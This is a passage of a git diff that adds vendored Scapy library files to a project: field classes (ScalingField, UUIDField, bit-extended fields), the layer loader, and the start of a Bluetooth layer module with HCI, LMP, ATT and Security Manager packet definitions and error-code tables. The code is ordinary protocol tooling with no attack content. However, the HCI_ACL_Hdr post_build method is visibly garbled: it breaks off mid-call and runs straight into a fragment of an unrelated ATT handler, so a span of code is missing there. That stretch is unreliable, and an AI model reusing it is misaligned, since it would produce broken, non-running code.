"use_nano"] + + # Do not change the order of the keywords in here + # Netflow heavily rely on this + def __init__(self, name, default, + use_msec=False, + use_micro=False, + use_nano=False): + IntField.__init__(self, name, default) + self.use_msec = use_msec + self.use_micro = use_micro + self.use_nano = use_nano + + def i2repr(self, pkt, x): + if x is None: + x = 0 + elif self.use_msec: + x = x / 1e3 + elif self.use_micro: + x = x / 1e6 + elif self.use_nano: + x = x / 1e9 + return "%s sec" % x + + +class ScalingField(Field): + """ Handle physical values which are scaled and/or offset for communication + + Example: + >>> from scapy.packet import Packet + >>> class ScalingFieldTest(Packet): + fields_desc = [ScalingField('data', 0, scaling=0.1, offset=-1, unit='mV')] # noqa: E501 + >>> ScalingFieldTest(data=10).show2() + ###[ ScalingFieldTest ]### + data= 10.0 mV + >>> hexdump(ScalingFieldTest(data=10)) + 0000 6E n + >>> hexdump(ScalingFieldTest(data=b"\x6D")) + 0000 6D m + >>> ScalingFieldTest(data=b"\x6D").show2() + ###[ ScalingFieldTest ]### + data= 9.9 mV + + bytes(ScalingFieldTest(...)) will produce 0x6E in this example. + 0x6E is 110 (decimal). This is calculated through the scaling factor + and the offset. "data" was set to 10, which means, we want to transfer + the physical value 10 mV. To calculate the value, which has to be + sent on the bus, the offset has to subtracted and the scaling has to be + applied by division through the scaling factor. + bytes = (data - offset) / scaling + bytes = ( 10 - (-1) ) / 0.1 + bytes = 110 = 0x6E + + If you want to force a certain internal value, you can assign a byte- + string to the field (data=b"\x6D"). If a string of a bytes object is + given to the field, no internal value conversion will be applied + + :param name: field's name + :param default: default value for the field + :param scaling: scaling factor for the internal value conversion + :param unit: string for the unit representation of the internal value + :param offset: value to offset the internal value during conversion + :param ndigits: number of fractional digits for the internal conversion + :param fmt: struct.pack format used to parse and serialize the internal value from and to machine representation # noqa: E501 + """ + __slots__ = ["scaling", "unit", "offset", "ndigits"] + + def __init__(self, name, default, scaling=1, unit="", + offset=0, ndigits=3, fmt="B"): + self.scaling = scaling + self.unit = unit + self.offset = offset + self.ndigits = ndigits + Field.__init__(self, name, default, fmt) + + def i2m(self, pkt, x): + if x is None: + x = 0 + x = (x - self.offset) / self.scaling + if isinstance(x, float) and self.fmt[-1] != "f": + x = int(round(x)) + return x + + def m2i(self, pkt, x): + x = x * self.scaling + self.offset + if isinstance(x, float) and self.fmt[-1] != "f": + x = round(x, self.ndigits) + return x + + def any2i(self, pkt, x): + if isinstance(x, (str, bytes)): + x = struct.unpack(self.fmt, bytes_encode(x))[0] + x = self.m2i(pkt, x) + return x + + def i2repr(self, pkt, x): + return "%s %s" % (self.i2h(pkt, x), self.unit) + + def randval(self): + value = super(ScalingField, self).randval() + if value is not None: + min_val = round(value.min * self.scaling + self.offset, + self.ndigits) + max_val = round(value.max * self.scaling + self.offset, + self.ndigits) + + return RandFloat(min(min_val, max_val), max(min_val, max_val)) + + +class UUIDField(Field): + """Field for UUID storage, wrapping Python's uuid.UUID type. + + The internal storage format of this field is ``uuid.UUID`` from the Python + standard library. + + There are three formats (``uuid_fmt``) for this field type: + + * ``FORMAT_BE`` (default): the UUID is six fields in big-endian byte order, + per RFC 4122. + + This format is used by DHCPv6 (RFC 6355) and most network protocols. + + * ``FORMAT_LE``: the UUID is six fields, with ``time_low``, ``time_mid`` + and ``time_high_version`` in little-endian byte order. This *doesn't* + change the arrangement of the fields from RFC 4122. + + This format is used by Microsoft's COM/OLE libraries. + + * ``FORMAT_REV``: the UUID is a single 128-bit integer in little-endian + byte order. This *changes the arrangement* of the fields. + + This format is used by Bluetooth Low Energy. + + Note: You should use the constants here. + + The "human encoding" of this field supports a number of different input + formats, and wraps Python's ``uuid.UUID`` library appropriately: + + * Given a bytearray, bytes or str of 16 bytes, this class decodes UUIDs in + wire format. + + * Given a bytearray, bytes or str of other lengths, this delegates to + ``uuid.UUID`` the Python standard library. This supports a number of + different encoding options -- see the Python standard library + documentation for more details. + + * Given an int or long, presumed to be a 128-bit integer to pass to + ``uuid.UUID``. + + * Given a tuple: + + * Tuples of 11 integers are treated as having the last 6 integers forming + the ``node`` field, and are merged before being passed as a tuple of 6 + integers to ``uuid.UUID``. + + * Otherwise, the tuple is passed as the ``fields`` parameter to + ``uuid.UUID`` directly without modification. + + ``uuid.UUID`` expects a tuple of 6 integers. + + Other types (such as ``uuid.UUID``) are passed through. + """ + + __slots__ = ["uuid_fmt"] + + FORMAT_BE = 0 + FORMAT_LE = 1 + FORMAT_REV = 2 + + # Change this when we get new formats + FORMATS = (FORMAT_BE, FORMAT_LE, FORMAT_REV) + + def __init__(self, name, default, uuid_fmt=FORMAT_BE): + self.uuid_fmt = uuid_fmt + self._check_uuid_fmt() + Field.__init__(self, name, default, "16s") + + def _check_uuid_fmt(self): + """Checks .uuid_fmt, and raises an exception if it is not valid.""" + if self.uuid_fmt not in UUIDField.FORMATS: + raise FieldValueRangeException( + "Unsupported uuid_fmt ({})".format(self.uuid_fmt)) + + def i2m(self, pkt, x): + self._check_uuid_fmt() + if x is None: + return b'\0' * 16 + if self.uuid_fmt == UUIDField.FORMAT_BE: + return x.bytes + elif self.uuid_fmt == UUIDField.FORMAT_LE: + return x.bytes_le + elif self.uuid_fmt == UUIDField.FORMAT_REV: + return x.bytes[::-1] + + def m2i(self, pkt, x): + self._check_uuid_fmt() + if self.uuid_fmt == UUIDField.FORMAT_BE: + return UUID(bytes=x) + elif self.uuid_fmt == UUIDField.FORMAT_LE: + return UUID(bytes_le=x) + elif self.uuid_fmt == UUIDField.FORMAT_REV: + return UUID(bytes=x[::-1]) + + def any2i(self, pkt, x): + # Python's uuid doesn't handle bytearray, so convert to an immutable + # type first. + if isinstance(x, bytearray): + x = bytes(x) + + if isinstance(x, six.integer_types): + x = UUID(int=x) + elif isinstance(x, tuple): + if len(x) == 11: + # For compatibility with dce_rpc: this packs into a tuple where + # elements 7..10 are the 48-bit node ID. + node = 0 + for i in x[5:]: + node = (node << 8) | i + + x = (x[0], x[1], x[2], x[3], x[4], node) + + x = UUID(fields=x) + elif isinstance(x, (six.binary_type, six.text_type)): + if len(x) == 16: + # Raw bytes + x = self.m2i(pkt, x) + else: + x = UUID(plain_str(x)) + return x + + @staticmethod + def randval(): + return RandUUID() + + +class BitExtendedField(Field): + """ + Bit Extended Field + + This type of field has a variable number of bytes. Each byte is defined + as follows: + - 7 bits of data + - 1 bit an an extension bit: + + + 0 means it is last byte of the field ("stopping bit") + + 1 means there is another byte after this one ("forwarding bit") + + To get the actual data, it is necessary to hop the binary data byte per + byte and to check the extension bit until 0 + """ + + __slots__ = ["extension_bit"] + + def prepare_byte(self, x): + # Moves the forwarding bit to the LSB + x = int(x) + fx_bit = (x & 2**self.extension_bit) >> self.extension_bit + lsb_bits = x & 2**self.extension_bit - 1 + msb_bits = x >> (self.extension_bit + 1) + x = (msb_bits << (self.extension_bit + 1)) + (lsb_bits << 1) + fx_bit + return x + + def str2extended(self, x=""): + # For convenience, we reorder the byte so that the forwarding + # bit is always the LSB. We then apply the same algorithm + # whatever the real forwarding bit position + + # First bit is the stopping bit at zero + bits = 0b0 + end = None + + # We retrieve 7 bits. + # If "forwarding bit" is 1 then we continue on another byte + i = 0 + for c in bytearray(x): + c = self.prepare_byte(c) + bits = bits << 7 | (int(c) >> 1) + if not int(c) & 0b1: + end = x[i + 1:] + break + i = i + 1 + if end is None: + # We reached the end of the data but there was no + # "ending bit". This is not normal. + return None, None + else: + return end, bits + + def extended2str(self, x): + x = int(x) + s = [] + LSByte = True + FX_Missing = True + bits = 0b0 + i = 0 + while (x > 0 or FX_Missing): + if i == 8: + # End of byte + i = 0 + s.append(bits) + bits = 0b0 + FX_Missing = True + else: + if i % 8 == self.extension_bit: + # This is extension bit + if LSByte: + bits = bits | 0b0 << i + LSByte = False + else: + bits = bits | 0b1 << i + FX_Missing = False + else: + bits = bits | (x & 0b1) << i + x = x >> 1 + # Still some bits + i = i + 1 + s.append(bits) + + result = "".encode() + for x in s[:: -1]: + result = result + struct.pack(">B", x) + return result + + def __init__(self, name, default, extension_bit): + Field.__init__(self, name, default, "B") + self.extension_bit = extension_bit + + def i2m(self, pkt, x): + return self.extended2str(x) + + def m2i(self, pkt, x): + return self.str2extended(x)[1] + + def addfield(self, pkt, s, val): + return s + self.i2m(pkt, val) + + def getfield(self, pkt, s): + return self.str2extended(s) + + +class LSBExtendedField(BitExtendedField): + # This is a BitExtendedField with the extension bit on LSB + def __init__(self, name, default): + BitExtendedField.__init__(self, name, default, extension_bit=0) + + +class MSBExtendedField(BitExtendedField): + # This is a BitExtendedField with the extension bit on MSB + def __init__(self, name, default): + BitExtendedField.__init__(self, name, default, extension_bit=7) diff --git a/libs/scapy/layers/__init__.py b/libs/scapy/layers/__init__.py new file mode 100755 index 0000000..fd8f0ca --- /dev/null +++ b/libs/scapy/layers/__init__.py @@ -0,0 +1,8 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Layer package. +""" diff --git a/libs/scapy/layers/all.py b/libs/scapy/layers/all.py new file mode 100755 index 0000000..1605ebd --- /dev/null +++ b/libs/scapy/layers/all.py @@ -0,0 +1,32 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +All layers. Configurable with conf.load_layers. +""" + +from __future__ import absolute_import +from scapy.config import conf +from scapy.error import log_loading +from scapy.main import load_layer +import logging +import scapy.modules.six as six + +ignored = list(six.moves.builtins.__dict__) + ["sys"] +log = logging.getLogger("scapy.loading") + +__all__ = [] + +for _l in conf.load_layers: + log_loading.debug("Loading layer %s" % _l) + try: + load_layer(_l, globals_dict=globals(), symb_list=__all__) + except Exception as e: + log.warning("can't import layer %s: %s", _l, e) + +try: + del _l +except NameError: + pass diff --git a/libs/scapy/layers/bluetooth.py b/libs/scapy/layers/bluetooth.py new file mode 100755 index 0000000..3ba6210 --- /dev/null +++ b/libs/scapy/layers/bluetooth.py @@ -0,0 +1,2645 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Copyright (C) Mike Ryan +# Copyright (C) Michael Farrell +# This program is published under a GPLv2 license + +""" +Bluetooth layers, sockets and send/receive functions. +""" + +import ctypes +import functools +import socket +import struct +import select +from ctypes import sizeof + +from scapy.config import conf +from scapy.data import DLT_BLUETOOTH_HCI_H4, DLT_BLUETOOTH_HCI_H4_WITH_PHDR, DLT_BLUETOOTH_ESPRESSIF +from scapy.packet import bind_layers, Packet +from scapy.fields import ByteEnumField, ByteField, Field, FieldLenField, \ + FieldListField, FlagsField, BitEnumField, XIntField, IntField, LEShortEnumField, LEShortField, \ + LenField, PacketListField, SignedByteField, StrField, StrFixedLenField, \ + StrLenField, XByteField, BitField, BitFieldLenField, XStrFixedLenField, LEIntField, XLELongField, PadField, \ + UUIDField, \ + XStrLenField, ConditionalField +from scapy.supersocket import SuperSocket +from scapy.sendrecv import sndrcv +from scapy.data import MTU +from scapy.consts import WINDOWS +from scapy.error import warning +from scapy.utils import lhex, mac2str, str2mac +from scapy.volatile import RandMAC +from scapy.modules import six + + +########## +# Fields # +########## + +class XLEShortField(LEShortField): + def i2repr(self, pkt, x): + return lhex(self.i2h(pkt, x)) + + +class LEMACField(Field): + def __init__(self, name, default): + Field.__init__(self, name, default, "6s") + + def i2m(self, pkt, x): + if x is None: + return b"\0\0\0\0\0\0" + return mac2str(x)[::-1] + + def m2i(self, pkt, x): + return str2mac(x[::-1]) + + def any2i(self, pkt, x): + if isinstance(x, (six.binary_type, six.text_type)) and len(x) == 6: + x = self.m2i(pkt, x) + return x + + def i2repr(self, pkt, x): + x = self.i2h(pkt, x) + if self in conf.resolve: + x = conf.manufdb._resolve_MAC(x) + return x + + def randval(self): + return RandMAC() + + +class LERemoteMACField(Field): + def __init__(self, name, default): + Field.__init__(self, name, default, "4s") + + def i2m(self, pkt, x): + if x is None: + return b"\0\0\0\0" + return mac2str(x)[::-1] + + def m2i(self, pkt, x): + return str2mac(x[::-1]) + + def any2i(self, pkt, x): + if isinstance(x, (six.binary_type, six.text_type)) and len(x) == 4: + x = self.m2i(pkt, x) + return x + + def i2repr(self, pkt, x): + x = self.i2h(pkt, x) + return x + + +########## +# Layers # +########## + +# See bluez/lib/hci.h for details + +# Transport layers + +class HCI_PHDR_Hdr(Packet): + name = "HCI PHDR transport layer" + fields_desc = [IntField("direction", 0)] + + +# Real layers + +_bluetooth_packet_types = { + 0: "Acknowledgement", + 1: "Command", + 2: "ACL Data", + 3: "Synchronous", + 4: "Event", + 5: "Reserve", + 7: "Diag", + 14: "Vendor", + 15: "Link Control" +} + +_bluetooth_error_codes = { + 0x00: "Success", + 0x01: "Unknown HCI Command", + 0x02: "Unknown Connection Identifier", + 0x03: "Hardware Failure", + 0x04: "Page Timeout", + 0x05: "Authentication Failure", + 0x06: "PIN or Key Missing", + 0x07: "Memory Capacity Exceeded", + 0x08: "Connection Timeout", + 0x09: "Connection Limit Exceeded", + 0x0A: "Synchronous Connection Limit To A Device Exceeded", + 0x0B: "Connection Already Exists", + 0x0C: "Command Disallowed", + 0x0D: "Connection Rejected due to Limited Resources", + 0x0E: "Connection Rejected Due To Security Reasons", + 0x0F: "Connection Rejected due to Unacceptable BD_ADDR", + 0x10: "Connection Accept Timeout Exceeded", + 0x11: "Unsupported Feature or Parameter Value", + 0x12: "Invalid HCI Command Parameters", + 0x13: "Remote User Terminated Connection", + 0x14: "Remote Device Terminated Connection due to Low Resources", + 0x15: "Remote Device Terminated Connection due to Power Off", + 0x16: "Connection Terminated By Local Host", + 0x17: "Repeated Attempts", + 0x18: "Pairing Not Allowed", + 0x19: "Unknown LMP PDU", + 0x1A: "Unsupported Remote Feature / Unsupported LMP Feature", + 0x1B: "SCO Offset Rejected", + 0x1C: "SCO Interval Rejected", + 0x1D: "SCO Air Mode Rejected", + 0x1E: "Invalid LMP Parameters / Invalid LL Parameters", + 0x1F: "Unspecified Error", + 0x20: "Unsupported LMP Parameter Value / Unsupported LL Parameter Value", + 0x21: "Role Change Not Allowed", + 0x22: "LMP Response Timeout / LL Response Timeout", + 0x23: "LMP Error Transaction Collision / LL Procedure Collision", + 0x24: "LMP PDU Not Allowed", + 0x25: "Encryption Mode Not Acceptable", + 0x26: "Link Key cannot be Changed", + 0x27: "Requested QoS Not Supported", + 0x28: "Instant Passed", + 0x29: "Pairing With Unit Key Not Supported", + 0x2A: "Different Transaction Collision", + 0x2B: "Reserved for future use", + 0x2C: "QoS Unacceptable Parameter", + 0x2D: "QoS Rejected", + 0x2E: "Channel Classification Not Supported", + 0x2F: "Insufficient Security", + 0x30: "Parameter Out Of Mandatory Range", + 0x31: "Reserved for future use", + 0x32: "Role Switch Pending", + 0x33: "Reserved for future use", + 0x34: "Reserved Slot Violation", + 0x35: "Role Switch Failed", + 0x36: "Extended Inquiry Response Too Large", + 0x37: "Secure Simple Pairing Not Supported By Host", + 0x38: "Host Busy - Pairing", + 0x39: "Connection Rejected due to No Suitable Channel Found", + 0x3A: "Controller Busy", + 0x3B: "Unacceptable Connection Parameters", + 0x3C: "Advertising Timeout", + 0x3D: "Connection Terminated due to MIC Failure", + 0x3E: "Connection Failed to be Established / Synchronization Timeout", + 0x3F: "MAC Connection Failed", + 0x40: "Coarse Clock Adjustment Rejected but Will Try to Adjust Using Clock" + " Dragging", + 0x41: "Type0 Submap Not Defined", + 0x42: "Unknown Advertising Identifier", + 0x43: "Limit Reached", + 0x44: "Operation Cancelled by Host", + 0x45: "Packet Too Long" +} + +_att_error_codes = { + 0x01: "invalid handle", + 0x02: "read not permitted", + 0x03: "write not permitted", + 0x04: "invalid pdu", + 0x05: "insufficient auth", + 0x06: "unsupported req", + 0x07: "invalid offset", + 0x08: "insuficient author", + 0x09: "prepare queue full", + 0x0a: "attr not found", + 0x0b: "attr not long", + 0x0c: "insufficient key size", + 0x0d: "invalid value size", + 0x0e: "unlikely", + 0x0f: "insufficiet encrypt", + 0x10: "unsupported gpr type", + 0x11: "insufficient resources", +} + +_bluetooth_lmp_opcode = { + 0: "LMP_Broadcom_BPCS", + 1: "LMP_name_req", + 2: "LMP_name_res", + 3: "LMP_accepted", + 4: "LMP_not_accepted", + 5: "LMP_clkoffset_req", + 6: "LMP_clkoffset_res", + 7: "LMP_detach", + 8: "LMP_in_rand", + 9: "LMP_comb_key", + 10: "LMP_unit_key", + 11: "LMP_au_rand", + 12: "LMP_sres", + 13: "LMP_temp_rand", + 14: "LMP_temp_key", + 15: "LMP_encryption_mode_req", + 16: "LMP_encryption_key_size_req", + 17: "LMP_start_encryption_req", + 18: "LMP_stop_encryption_req", + 19: "LMP_switch_req", + 20: "LMP_hold", + 21: "LMP_hold_req", + 23: "LMP_sniff_req", + 24: "LMP_unsniff_req", + 25: "LMP_park_req", + 27: "LMP_set_broadcast_scan_window", + 28: "LMP_modify_beacon", + 29: "LMP_unpark_BD_ADDR_req", + 30: "LMP_unpark_PM_ADDR_req", + 31: "LMP_incr_power_req", + 32: "LMP_decr_power_req", + 33: "LMP_max_power", + 34: "LMP_min_power", + 35: "LMP_auto_rate", + 36: "LMP_preferred_rate", + 37: "LMP_version_req", + 38: "LMP_version_res", + 39: "LMP_features_req", + 40: "LMP_features_res", + 41: "LMP_quality_of_service", + 42: "LMP_quality_of_service_req", + 43: "LMP_SCO_link_req", + 44: "LMP_remove_SCO_link_req", + 45: "LMP_max_slot", + 46: "LMP_max_slot_req", + 47: "LMP_timing_accuracy_req", + 48: "LMP_timing_accuracy_res", + 49: "LMP_setup_complete", + 50: "LMP_use_semi_permanent_key", + 51: "LMP_host_connection_req", + 52: "LMP_slot_offset", + 53: "LMP_page_mode_req", + 54: "LMP_page_scan_mode_req", + 55: "LMP_supervision_timeout", + 56: "LMP_test_activate", + 57: "LMP_test_control", + 58: "LMP_encryption_key_size_mask_req", + 59: "LMP_encryption_key_size_mask_res", + 60: "LMP_set_AFH", + 61: "LMP_encapsulated_header", + 62: "LMP_encapsulated_payload", + 63: "LMP_Simple_Pairing_Confirm", + 64: "LMP_Simple_Pairing_Number", + 65: "LMP_DHkey_Check", + 124: "Escape 1", + 125: "Escape 2", + 126: "Escape 3", + 127: "Escape 4", +} + +_bluetooth_lmp_ext_opcode = { + 1: "LMP_accepted_ext", + 2: "LMP_not_accepted_ext", + 3: "LMP_features_req_ext", + 4: "LMP_features_res_ext", + 11: "LMP_packet_type_table_req", + 12: "LMP_eSCO_link_req", + 13: "LMP_remove_eSCO_link_req", + 16: "LMP_channel_classification_req", + 17: "LMP_channel_classification", + 21: "LMP_sniff_subrating_req", + 22: "LMP_sniff_subrating_res", + 23: "LMP_pause_encryption_req", + 24: "LMP_resume_encryption_req", + 25: "LMP_IO_Capability_req", + 26: "LMP_IO_Capability_res", + 27: "LMP_numeric_comparison_failed", + 28: "LMP_passkey_failed", + 29: "LMP_oob_failed", + 30: "LMP_keypress_notification", + 31: "LMP_power_control_req", + 32: "LMP_power_control_res", +} + +_bluetooth_lmp_error_code = { + 0: "Success", + 1: "Unknown HCI Command", + 2: "Unknown Connection Identifier", + 3: "Hardware Failure", + 4: "Page Timeout", + 5: "Authentication Failure", + 6: "PIN or Key Missing", + 7: "Memory Capacity Exceeded", + 8: "Connection Timeout", + 9: "Connection Limit Exceeded", + 10: "Synchronous Connection Limit To A Device Exceeded", + 11: "ACL Connection Already Exists", + 12: "Command Disallowed", + 13: "Connection Rejected due to Limited Resources", + 14: "Connection Rejected Due To Security Reasons", + 15: "Connection Rejected due to Unacceptable BD_ADDR", + 16: "Connection Accept Timeout Exceeded", + 17: "Unsupported Feature or Parameter Value", + 18: "Invalid HCI Command Parameters", + 19: "Remote User Terminated Connection", + 20: "Remote Device Terminated Connection due to Low Resources", + 21: "Remote Device Terminated Connection due to Power Off", + 22: "Connection Terminated By Local Host", + 23: "Repeated Attempts", + 24: "Pairing Not Allowed", + 25: "Unknown LMP PDU", + 26: "Unsupported Remote Feature / Unsupported LMP Feature", + 27: "SCO Offset Rejected", + 28: "SCO Interval Rejected", + 29: "SCO Air Mode Rejected", + 30: "Invalid LMP Parameters", + 31: "Unspecified Error", + 32: "Unsupported LMP Parameter Value", + 33: "Role Change Not Allowed", + 34: "LMP Response Timeout", + 35: "LMP Error Transaction Collision", + 36: "LMP PDU Not Allowed", + 37: "Encryption Mode Not Acceptable", + 38: "Link Key Can Not be Changed", + 39: "Requested QoS Not Supported", + 40: "Instant Passed", + 41: "Pairing With Unit Key Not Supported", + 42: "Different Transaction Collision", + 43: "Reserved", + 44: "QoS Unacceptable Parameter", + 45: "QoS Rejected", + 46: "Channel Classification Not Supported", + 47: "Insufficient Security", + 48: "Parameter Out Of Mandatory Range", + 49: "Reserved", + 50: "Role Switch Pending", + 51: "Reserved", + 52: "Reserved Slot Violation", + 53: "Role Switch Failed", + 54: "Extended Inquiry Response Too Large", + 55: "Secure Simple Pairing Not Supported By Host.", + 56: "Host Busy - Pairing", + 57: "Connection Rejected due to No Suitable Channel Found", +} + +_bluetooth_lmp_versnr = { + 0: "1.0b", + 1: "1.1", + 2: "1.2", + 3: "2.0 + EDR", + 4: "2.1 + EDR", + 5: "3.0 + HS", + 6: "4.0", + 7: "4.1", + 8: "4.2", + 9: "5.0", + 10: "5.1", + 11: "5.2" +} + +_bluetooth_lmp_features = [ + "lstimche", "inqtxpwr", "enhpwr", "res5", "res6", "res7", "res8", "extfeat", + "extinqres", "simlebredr", "res3", "ssp", "enpdu", "edr", "nonflush", "res4", + "5slotenh", "sniffsubr", "pauseenc", "afhcapma", "afhclama", "esco2", "esco3", "3slotenhesco", + "ev4", "ev5", "res2", "afhcapsl", "afhclasl", "bredrnotsup", "lesup", "3slotenh", + "res1", "acl2", "acl3", "eninq", "intinq", "intpag", "rssiinq", "ev3", + "cvsd", "pagneg", "pwrctl", "transsync", "flowctl1", "flowctl2", "flowctl3", "bcenc", + "res0", "pwrctlreq", "cqddr", "sco", "hv2", "hv3", "mulaw", "alaw", + "3slot", "5slot", "enc", "slotoff", "timacc", "rolesw", "holdmo", "sniffmo", # First octet +] + +_bluetooth_lmp_ext_features_1 = [ + "un48", "un49", "un50", "un51", "un52", "un53", "un54", "un55", + "un56", "un57", "un58", "un59", "un60", "un61", "un62", "un63", + "un40", "un41", "un42", "un43", "un44", "un45", "un46", "un47", + "un32", "un33", "un34", "un35", "un36", "un37", "un38", "un39", + "un24", "un25", "un26", "un27", "un28", "un29", "un30", "un31", + "un16", "un17", "un18", "un19", "un20", "un21", "un22", "un23", + "un8", "un9", "un10", "un11", "un12", "un13", "un14", "un15", + "ssp", "lesup", "lebredr", "sch", "un4", "un5", "un6", "un7", # First octet +] + +_bluetooth_lmp_ext_features_2 = [ + "un48", "un49", "un50", "un51", "un52", "un53", "un54", "un55", + "un56", "un57", "un58", "un59", "un60", "un61", "un62", "un63", + "un40", "un41", "un42", "un43", "un44", "un45", "un46", "un47", + "un32", "un33", "un34", "un35", "un36", "un37", "un38", "un39", + "un24", "un25", "un26", "un27", "un28", "un29", "un30", "un31", + "un16", "un17", "un18", "un19", "un20", "un21", "un22", "un23", + "scc", "ping", "res1", "trnud", "sam", "un13", "un14", "un15", + "csbma", "csbsl", "syntr", "synsc", "inqresnote", "genintsc", "ccadj", "res0", # First octet +] + +_bluetooth_lmp_features_unused = [ + "un48", "un49", "un50", "un51", "un52", "un53", "un54", "un55", + "un56", "un57", "un58", "un59", "un60", "un61", "un62", "un63", + "un40", "un41", "un42", "un43", "un44", "un45", "un46", "un47", + "un32", "un33", "un34", "un35", "un36", "un37", "un38", "un39", + "un24", "un25", "un26", "un27", "un28", "un29", "un30", "un31", + "un16", "un17", "un18", "un19", "un20", "un21", "un22", "un23", + "un8", "un9", "un10", "un11", "un12", "un13", "un14", "un15", + "un0", "un1", "un2", "un3", "un4", "un5", "un6", "un7", # First octet +] + +_bluetooth_lmp_power_adjustment_res = { + 0: "not supported", + 1: "changed one step (not min or max)", + 2: "max power", + 3: "min power" +} + +_bluetooth_diag_types = { + 0: "LM_SENT", + 1: "LM_RECV", + 2: "ACL_BR_RESP", + 3: "ACL_EDR_RESP", + 4: "LE_SENT", + 5: "LE_RECV", + 6: "LM_ENABLE" +} + + +class HCI_Hdr(Packet): + name = "HCI header" + fields_desc = [ByteEnumField("type", 2, _bluetooth_packet_types)] + + def mysummary(self): + return self.sprintf("HCI %type%") + + +class HCI_ACL_Hdr(Packet): + name = "HCI ACL header" + # NOTE: the 2-bytes entity formed by the 2 flags + handle must be LE + # This means that we must reverse those two bytes manually (we don't have + # a field that can reverse a group of fields) + fields_desc = [BitField("BC", 0, 2), # ] + BitField("PB", 0, 2), # ]=> 2 bytes + BitField("handle", 0, 12), # ] + LEShortField("len", None), ] + + def pre_dissect(self, s): + return s[:2][::-1] + s[2:] # Reverse the 2 first bytes + + def post_dissect(self, s): + self.raw_packet_cache = None # Reset packet to allow post_build + return s + + def post_build(self, p, pay): + p += pay + if self.len is None: + p = p[:2] + struct.pack("= pkt.len: + return functools.partial( + ATT_Handle_Variable, + val_length=pkt.len - 2 + ) + return None + + +class ATT_Read_Request(Packet): + name = "Read Request" + fields_desc = [XLEShortField("gatt_handle", 0), ] + + +class ATT_Read_Response(Packet): + name = "Read Response" + fields_desc = [StrField("value", "")] + + +class ATT_Read_Multiple_Request(Packet): + name = "Read Multiple Request" + fields_desc = [FieldListField("handles", [], XLEShortField("", 0))] + + +class ATT_Read_Multiple_Response(Packet): + name = "Read Multiple Response" + fields_desc = [StrField("values", "")] + + +class ATT_Read_By_Group_Type_Request(Packet): + name = "Read By Group Type Request" + fields_desc = [XLEShortField("start", 0), + XLEShortField("end", 0xffff), + XLEShortField("uuid", 0), ] + + +class ATT_Read_By_Group_Type_Response(Packet): + name = "Read By Group Type Response" + fields_desc = [XByteField("length", 0), + StrField("data", ""), ] + + +class ATT_Write_Request(Packet): + name = "Write Request" + fields_desc = [XLEShortField("gatt_handle", 0), + StrField("data", ""), ] + + +class ATT_Write_Command(Packet): + name = "Write Request" + fields_desc = [XLEShortField("gatt_handle", 0), + StrField("data", ""), ] + + +class ATT_Write_Response(Packet): + name = "Write Response" + + +class ATT_Prepare_Write_Request(Packet): + name = "Prepare Write Request" + fields_desc = [ + XLEShortField("gatt_handle", 0), + LEShortField("offset", 0), + StrField("data", "") + ] + + +class ATT_Prepare_Write_Response(ATT_Prepare_Write_Request): + name = "Prepare Write Response" + + +class ATT_Handle_Value_Notification(Packet): + name = "Handle Value Notification" + fields_desc = [XLEShortField("gatt_handle", 0), + StrField("value", ""), ] + + +class ATT_Execute_Write_Request(Packet): + name = "Execute Write Request" + fields_desc = [ + ByteEnumField("flags", 1, { + 0: "Cancel all prepared writes", + 1: "Immediately write all pending prepared values", + }), + ] + + +class ATT_Execute_Write_Response(Packet): + name = "Execute Write Response" + + +class ATT_Read_Blob_Request(Packet): + name = "Read Blob Request" + fields_desc = [ + XLEShortField("gatt_handle", 0), + LEShortField("offset", 0) + ] + + +class ATT_Read_Blob_Response(Packet): + name = "Read Blob Response" + fields_desc = [ + StrField("value", "") + ] + + +class ATT_Handle_Value_Indication(Packet): + name = "Handle Value Indication" + fields_desc = [ + XLEShortField("gatt_handle", 0), + StrField("value", ""), + ] + + +class SM_Hdr(Packet): + name = "SM header" + fields_desc = [ByteField("sm_command", None)] + + +class SM_Pairing_Request(Packet): + name = "Pairing Request" + fields_desc = [ByteEnumField("iocap", 3, + {0: "DisplayOnly", 1: "DisplayYesNo", 2: "KeyboardOnly", 3: "NoInputNoOutput", + 4: "KeyboardDisplay"}), # noqa: E501 + ByteEnumField("oob", 0, {0: "Not Present", 1: "Present (from remote device)"}), # noqa: E501 + BitField("authentication", 0, 8), + ByteField("max_key_size", 16), + ByteField("initiator_key_distribution", 0), + ByteField("responder_key_distribution", 0), ] + + +class SM_Pairing_Response(Packet): + name = "Pairing Response" + fields_desc = [ByteEnumField("iocap", 3, + {0: "DisplayOnly", 1: "DisplayYesNo", 2: "KeyboardOnly", 3: "NoInputNoOutput", + 4: "KeyboardDisplay"}), # noqa: E501 + ByteEnumField("oob", 0, {0: "Not Present", 1: "Present (from remote device)"}), # noqa: E501 + BitField("authentication", 0, 8), + ByteField("max_key_size", 16), + ByteField("initiator_key_distribution", 0), + ByteField("responder_key_distribution", 0), ] + + +class SM_Confirm(Packet): + name = "Pairing Confirm" + fields_desc = [StrFixedLenField("confirm", b'\x00' * 16, 16)] + + +class SM_Random(Packet): + name = "Pairing Random" + fields_desc = [StrFixedLenField("random", b'\x00' * 16, 16)] + + +class SM_Failed(Packet): + name = "Pairing Failed" + fields_desc = [XByteField("reason", 0)] + + +class SM_Encryption_Information(Packet): + name = "Encryption Information" + fields_desc = [StrFixedLenField("ltk", b"\x00" * 16, 16), ] + + +class SM_Master_Identification(Packet): + name = "Master Identification" + fields_desc = [XLEShortField("ediv", 0), + StrFixedLenField("rand", b'\x00' * 8, 8), ] + + +class SM_Identity_Information(Packet): + name = "Identity Information" + fields_desc = [StrFixedLenField("irk", b'\x00' * 16, 16), ] + + +class SM_Identity_Address_Information(Packet): + name = "Identity Address Information" + fields_desc = [ByteEnumField("atype", 0, {0: "public"}), + LEMACField("address", None), ] + + +class SM_Signing_Information(Packet): + name = "Signing Information" + fields_desc = [StrFixedLenField("csrk", b'\x00' * 16, 16), ] + + +class SM_Public_Key(Packet): + name = "Public Key" + fields_desc = [StrFixedLenField("key_x", b'\x00' * 32, 32), + StrFixedLenField("key_y", b'\x00' * 32, 32), ] + + +class SM_DHKey_Check(Packet): + name = "DHKey Check" + fields_desc = [StrFixedLenField("dhkey_check", b'\x00' * 16, 16), ] + + +class EIR_Hdr(Packet): + name = "EIR Header" + fields_desc = [ + 